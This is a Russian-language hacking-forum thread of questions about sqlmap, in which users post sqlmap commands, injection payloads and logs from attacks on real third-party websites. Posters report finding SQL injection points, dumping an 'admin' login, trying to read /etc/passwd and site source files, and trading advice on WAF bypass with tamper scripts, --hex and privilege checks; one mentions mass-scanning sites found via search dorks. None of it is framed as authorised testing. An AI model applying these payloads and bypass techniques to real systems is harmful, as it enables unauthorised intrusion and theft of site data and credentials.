Вопросы по SQLMap

Discussion in 'Уязвимости' started by randman, 1 Oct 2015.

  1. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    разобрался с этим сайтом :)

    Теперь вопрос про другой сайт. Нашел дыру (на битриксе).
    Но не могу прочитать файлы, т.е. как обычно делаю --file-read='/etc/passwd', но выдает ошибку
    Похожа ошибка была на другом сайте, она появлялась тогда, когда файл отсутствовал по указанному пути

    Code:
    [17:30:10] [INFO] resuming back-end DBMS 'mysql'
    [17:30:10] [INFO] testing connection to the target URL
    [17:30:12] [CRITICAL] page not found (404)
    it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] n
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: SECTION_ID (GET)
        Type: error-based
        Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: ID=1) OR (SELECT 9559 FROM(SELECT COUNT(*),CONCAT(0x7176717a71,(SELECT (ELT(9559=9559,1))),0x716b6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SAhe
    ---
    [17:30:14] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0
    [17:30:14] [INFO] fingerprinting the back-end DBMS operating system
    [17:30:14] [INFO] the back-end DBMS operating system is Linux
    [17:30:14] [INFO] fetching file: '/etc/passwd'
    [17:30:14] [INFO] resumed:
    [17:30:14] [WARNING] there was a problem decoding value ' ' from expected hexadecimal form
    do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
    [17:30:21] [INFO] retrieved:
    [17:30:21] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
    files saved to [1]:
    [*] /root/.sqlmap/output/site/files/_etc_passwd (size differs from remote file)
    
    [17:30:21] [WARNING] HTTP error codes detected during run:
    404 (Not Found) - 1 times
    

    404 (Not Found) - 1 times ошибка выдается, скорее всего, по причине того, что при открытии страницы с sql-inject он отдает json но с HTTP CODE = 404

    Теперь остается узнать какой параметр добавить, чтобы не было

    Ладно /etc/passwd может быть закрыт, но файлы битрикса хоть какие-то уже должен прочитать.


    И в продолжении, в чем может быть причина, если это не отрабатывает

    Code:
    sqlmap -u site/inject.php?ID=1 -D database -T table_login -C LOGIN,PASSWORD --dump
    
    И выдает ошибку

    А вот это отрабатывает


    Code:
    [17:49:02] [INFO] resuming back-end DBMS 'mysql'
    [17:49:02] [INFO] testing connection to the target URL
    [17:49:04] [CRITICAL] page not found (404)
    it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] n
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: SECTION_ID (GET)
        Type: error-based
        Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: ID=1) OR (SELECT 9559 FROM(SELECT COUNT(*),CONCAT(0x7176717a71,(SELECT (ELT(9559=9559,1))),0x716b6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SAhe
    ---
    [17:49:06] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0
    [17:49:06] [INFO] fetching SQL SELECT statement query output: 'select login from table_login where id=1'
    [17:49:08] [INFO] used SQL query returns 1 entries
    [17:49:09] [INFO] retrieved: admin
    select login from table_login where id=1:    'admin'
    [17:49:09] [WARNING] HTTP error codes detected during run:
    404 (Not Found) - 1 times

    Кодировка db - utf8
     
  2. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    Найдена уязвимость

    Code:
    Parameter: product_id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: route=product/product&path=1&product_id=1 AND 7670=7670
        Vector: AND [INFERENCE]
    При попытке получить список баз данных вываливает ошибку
    [03:50:18] [INFO] the back-end DBMS is MySQL
    web application technology: PHP 5.6.33, Nginx
    back-end DBMS: MySQL 5 (MariaDB fork)
    [03:50:18] [INFO] fetching database names
    [03:50:18] [INFO] fetching number of databases

    [03:50:18] [DEBUG] resuming configuration option 'string' (3D)
    [03:50:18] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
    [03:50:18] [PAYLOAD] 1 AND ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51
    sqlmap got a 301 redirect to 'http://site/index.php?route=product/product&path=1&product_id=1 AND ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))'. Do you want to follow? [Y/n] n
    [03:50:22] [WARNING] unexpected HTTP code '301' detected. Will use (extra) validation step in similar cases
    [03:50:22] [PAYLOAD] 1 AND ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>48
    [03:50:23] [PAYLOAD] 1 AND ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>9

    [03:50:25] [INFO] retrieved:
    [03:50:25] [DEBUG] performed 3 queries in 7.29 seconds
    [03:50:25] [ERROR] unable to retrieve the number of databases
    [03:50:25] [INFO] falling back to current database
    [03:50:25] [INFO] fetching current database

    [03:50:25] [PAYLOAD] 1 AND ORD(MID((DATABASE()),1,1))>64
    [03:50:27] [PAYLOAD] 1 AND ORD(MID((DATABASE()),1,1))>32
    [03:50:28] [PAYLOAD] 1 AND ORD(MID((DATABASE()),1,1))>1

    [03:50:30] [INFO] retrieved:
    [03:50:30] [DEBUG] performed 3 queries in 4.97 seconds
    [03:50:30] [CRITICAL] unable to retrieve the database names

    Как дальше раскрутить? Спасибо
     
  3. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,099
    Likes Received:
    792
    Reputations:
    230
    1)нет прав
    2)waf ответ 301 может или истекла сессия или поменялся ответ от сервера проверьте сайт не http может указывать нужно ,а https , после пробуйте --hex --no-cast ,тамперы и обход waf https://github.com/Ekultek/WhatWaf
    3)поискать другую ошибку,где нет редиректа
     
    _________________________
    GoodBoy and Veil like this.
  4. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    пробую проверить, появляется ошибка
    Не подскажите, как решить?
     

    Attached Files:

  5. Sensoft

    Sensoft Member

    Joined:
    14 Jun 2015
    Messages:
    398
    Likes Received:
    38
    Reputations:
    1
    Ты кажись насувал дахуя тамперов
    кстати количество вроде не решит для каждой защиты свои тамперы (но это не точно)
     
  6. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,099
    Likes Received:
    792
    Reputations:
    230
    вроде написано что слишком много редиректов.
     
    _________________________
  7. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    так я запустил по инструкции на гите, чтобы определило waf и указало какой тампер надо использовать.
    И спустя стольких редиректов получаю ошибку. Я тампер в sqlmap вообще не использовал, думал WhatWaf подскажет что использовать
     
  8. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Code:
    --tamper=greatest или --tamper=between или --tamper=least
    Попробуйте один из этих. Судя по логам проблема в символе >, возможно так же и в <!
     
    GoodBoy, ms13, mardoksp and 1 other person like this.
  9. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    --tamper=between
    помог, но как вы узнали по логам? как обучиться такому кунг-фу? :) обалдеть, сразу получил список баз
     
  10. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,562
    Reputations:
    40
    Практика и труд
     
  11. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    кстати, а скорость можно увеличить, помимо кол-ва потоков (--threads 10) и так максимально стоит.
    Уж очень долго получаю список таблиц. Боюсь данные буду получать несколько часов :)
     
  12. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    простите за столь глупые вопросы :)

    в итоге найдено
    Code:
    Parameter: product_id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: route=product/product&path=1&product_id=1 AND 9533=9533
    
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 OR time-based blind
        Payload: route=product/product&path=1&product_id=1 OR SLEEP(10)
    Пытаюсь получить файл.
    Code:
    sqlmap -u "https://site/index.php?route=product/product&path=1&product_id=1" -p product_id --file-read='/var/www/site/robots.txt' --time-sec 10 --tamper=between
    
    Использую tamper=between
    Пробую прочитать через --file-read
    [03:13:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
    [03:13:37] [INFO] retrieved:
    [03:13:45] [WARNING] reflective value(s) found and filtering out
    [03:13:47] [WARNING] time-based comparison requires larger statistical model, please wait........................ (done)
    [03:14:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
    [03:15:30] [WARNING] turning off pre-connect mechanism because of connection time out(s)

    [03:16:32] [ERROR] invalid character detected. retrying..
    [03:19:06] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
    [03:19:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/site'
    Файл не сохраняется, если добавить --hex (--no-cast)
    [03:27:25] [INFO] retrieved:
    [03:27:31] [WARNING] reflective value(s) found and filtering out
    [03:27:52] [INFO] retrieved:
    [03:27:52] [WARNING] there was a problem decoding value ' ' from expected hexadecimal form
    do you want confirmation that the remote file '/var/www/site/robots.txt' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
    [03:29:05] [INFO] retrieved:
    [03:29:05] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
    files saved to [1]:
    [*] /root/.sqlmap/output/site/files/_var_www_site_robots.txt (size differs from remote file)
    [03:29:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/site'
    и сохраняется пустой файл.
    Проблема в правах или что-то с преобразованием символом нужно шаманить? Есть ли вариант здесь раскрутить на чтение файлов?
     
  13. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,099
    Likes Received:
    792
    Reputations:
    230
    Привет, проверь права --is-dba если тру ,то дальше думать будем. И прочитать попробуй /etc/passwd
     
    _________________________
  14. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    False, даже не могу прочитать хэш пароля.
    /etc/passwd аналогично не читает.

    Запросы из бд отрабатывают, но вот бы исходники сайта еще просмотреть.
     
  15. GoodBoy

    GoodBoy New Member

    Joined:
    24 Jul 2017
    Messages:
    32
    Likes Received:
    2
    Reputations:
    0
    Здравствуйте. Сколько не сканировал сайты по доркам, (качество сайтов, определенно не лучшее) - никогда не попадалось is-dba=true, это нормально?
     
  16. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,099
    Likes Received:
    792
    Reputations:
    230
    сайтов с нужными правами мало осталось
    https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html
     
    _________________________
    GoodBoy likes this.
  17. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Даже наличие прав, не всегда панацея, сейчас повсеместно включен secure-file-priv
    https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv
     
    #717 cat1vo, 21 Jul 2018
    Last edited: 21 Jul 2018
    grimnir, BabaDook and GoodBoy like this.
  18. GoodBoy

    GoodBoy New Member

    Joined:
    24 Jul 2017
    Messages:
    32
    Likes Received:
    2
    Reputations:
    0
  19. Lazy

    Lazy New Member

    Joined:
    19 Jul 2011
    Messages:
    95
    Likes Received:
    2
    Reputations:
    3
    Нашел бажный скрипт , который стоит на нескольких сайтах . Sqlmap почти нормально читает через сиквел . Почти потому , что скрипт или сервер заменяет символ нижнего подчеркивания на запятую или дефис . При этом я могу читать имена баз , таблиц и чаще всего столбцы . Но не могу дампить .
    --hex вроде бы решает проблему , но данные все равно не дампятся . Tamper не помогает .
    Как я понял из ответов curl нижнее подчеркивание и все до него вырезается из имени таблицы при запросе . Таблица вида site_users в select запросе превращается в просто users .
    Но при этом всем мне удалось все же найти один сайт где с --hex нужные таблицы нормально читаются :\
    Хочется понять откуда у этого растут ноги . Это сам скрипт творит , или фаер , или может модуль апача так извращается ?
    Ну и реально ли как-то заэкранировать нижнее подчеркивание в запросе .
     
  20. cna

    cna New Member

    Joined:
    10 Feb 2018
    Messages:
    10
    Likes Received:
    0
    Reputations:
    1
    надо чекнуть что фильтрует и обойти для начала) попробуй обычно если норм составишь запрос за раз --sql-query норм вывоит
    бывают такие заморочки от того что можно указывать части запроса отдельно в специальных переменных до просто обычных глюков скульмапчика с кучей запросов или банальная ошибка синтаксиса но если возможность вывести колонки в работе с вафом можно фазить все слова символы в разные кодировк смешаны с заменой в тампере зависит какая бд? и очень важно не стрессить себя и свою плату особенно с большим количеством блайнд запросов что бы там не сбилось нече --no-cast
    стукни чекну)
     
    #720 cna, 1 Aug 2018
    Last edited: 1 Aug 2018
Loading...